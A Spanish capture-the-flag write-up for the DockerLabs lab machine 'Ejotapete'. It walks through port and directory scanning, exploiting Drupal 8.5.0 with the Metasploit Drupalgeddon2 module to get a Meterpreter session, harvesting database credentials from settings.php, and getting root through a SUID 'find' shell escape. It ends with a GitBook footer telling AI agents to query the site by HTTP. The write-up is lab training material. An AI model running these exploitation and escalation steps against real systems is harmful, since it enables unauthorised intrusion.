> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/ejotapete.md).

# Ejotapete

## 1. Reconocimiento - Nmap

Se comienza con un escaneo completo de puertos y versiones contra la maquina objetivo `172.17.0.2`.

```bash
sudo nmap -sV -p- 172.17.0.2
```

![Nmap](/files/RQiohUgZeZAVqdOiZPjR)

**Resultado relevante:**

| Puerto | Estado | Servicio | Version             |
| ------ | ------ | -------- | ------------------- |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.25 |

Solo se detecta el servicio web, asi que la enumeracion se centra en HTTP.

***

## 2. Enumeracion Web - Gobuster

Se realiza fuzzing de directorios con `gobuster` usando la wordlist `common.txt` y extensiones habituales.

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,txt,php
```

![Gobuster](/files/AHevSf4eGUEbExVudXE3)

**Hallazgos importantes:**

| Recurso          | Codigo | Comentario         |
| ---------------- | ------ | ------------------ |
| `/drupal/`       | 301    | Instalacion Drupal |
| `/server-status` | 403    | Recurso protegido  |

***

## 3. Identificacion del CMS

Al acceder a `/drupal/`, se observa una instalacion de Drupal con el sitio **Find your own Style**.

```
http://172.17.0.2/drupal/
```

![Drupal home](/files/23HFDkrTb2mF5SWxXxT2)

Revisando rutas internas, se confirma que Drupal ya esta instalado y se identifica la version **Drupal 8.5.0**.

![Drupal 8.5.0](/files/VPD77LwrNbEfyrFZpnbZ)

***

## 4. Explotacion - Drupalgeddon2

Se busca en Metasploit algun modulo compatible con Drupal 8.5.

```bash
msfconsole
search drupal 8.5
```

![Metasploit search](/files/t89OJ2lwyjEWT2arcdro)

El modulo interesante es:

```
exploit/unix/webapp/drupal_drupalgeddon2
```

Se configura el exploit apuntando al host victima y a la ruta donde esta Drupal.

```bash
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 172.17.0.2
set LHOST 172.17.0.1
set TARGETURI /drupal/
run
```

![Drupalgeddon2](/files/bxUmh2HgKdZF0Y1ItInl)

Se obtiene una sesion Meterpreter como usuario del servicio web.

***

## 5. Enumeracion Interna

Una vez dentro, se busca el archivo de configuracion de Drupal.

```bash
find . -name settings.php 2>/dev/null
cat ./sites/default/settings.php
```

![settings.php](/files/CJp8AZSR6dqZUvfSlk9H)

En el archivo `settings.php` aparecen las credenciales de la base de datos.

![Credenciales Drupal](/files/bcaI4NIGXFviuaxHRzhU)

**Credenciales encontradas:**

| Campo    | Valor                         |
| -------- | ----------------------------- |
| database | `database_under_beta_testing` |
| username | `ballenita`                   |
| password | `ballenitafeliz`              |
| host     | `localhost`                   |
| port     | `3306`                        |
| driver   | `mysql`                       |

Tambien aparece un comentario indicando que no se debe usar SQL y que se peto la base de datos.

***

## 6. Primer Intento de Escalada

Se comprueban permisos de `sudo`, pero la shell obtenida no dispone de TTY interactiva.

```bash
sudo -l
```

![sudo -l](/files/gCR3uJY5RMeAw37CkA84)

El error indica:

```
sudo: no tty present and no askpass program specified
```

***

## 7. Escalada con SUID find

Se revisa la tecnica en GTFOBins para el binario `find`.

![GTFOBins find](/files/C5xDcow5sKePKLQZruTq)

Al existir `find` con permisos SUID, se puede ejecutar una shell manteniendo privilegios elevados.

```bash
/usr/bin/find . -exec /bin/sh \; -quit
id
```

![SUID find](/files/lHkVOc6oPTplH1qx7yxW)

El resultado confirma la escalada:

```
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
```

Aunque el UID real sigue siendo `www-data`, el EUID es `0`, por lo que los comandos se ejecutan con privilegios de root.

***

## 8. Lectura de la Flag

Con privilegios elevados, se accede al directorio `/root` y se lee el archivo final.

```bash
cd /root
ls
cat secretitomaximo.txt
```

![Root flag](/files/oj7YkFrqgwLgQmhUOHJZ)

**Flag / password final:**

```
nobodycanfindthispasswordrootrocks
```

***

## Resumen

| Paso | Tecnica                    | Resultado                        |
| ---- | -------------------------- | -------------------------------- |
| 1    | Nmap                       | HTTP en el puerto 80             |
| 2    | Gobuster                   | Directorio `/drupal/` encontrado |
| 3    | Enumeracion web            | Drupal 8.5.0 identificado        |
| 4    | Drupalgeddon2              | Acceso como `www-data`           |
| 5    | Lectura de `settings.php`  | Credenciales de MySQL            |
| 6    | Enumeracion de privilegios | `sudo -l` bloqueado por TTY      |
| 7    | SUID `find`                | EUID 0                           |
| 8    | Lectura de `/root`         | Flag obtenida                    |

***

## Conclusion

La maquina se compromete mediante una version vulnerable de Drupal 8.5.0 usando Drupalgeddon2. Tras obtener acceso como `www-data`, la escalada se realiza abusando del binario `find` con permisos SUID, lo que permite ejecutar una shell con EUID 0 y leer el contenido de `/root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/ejotapete.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
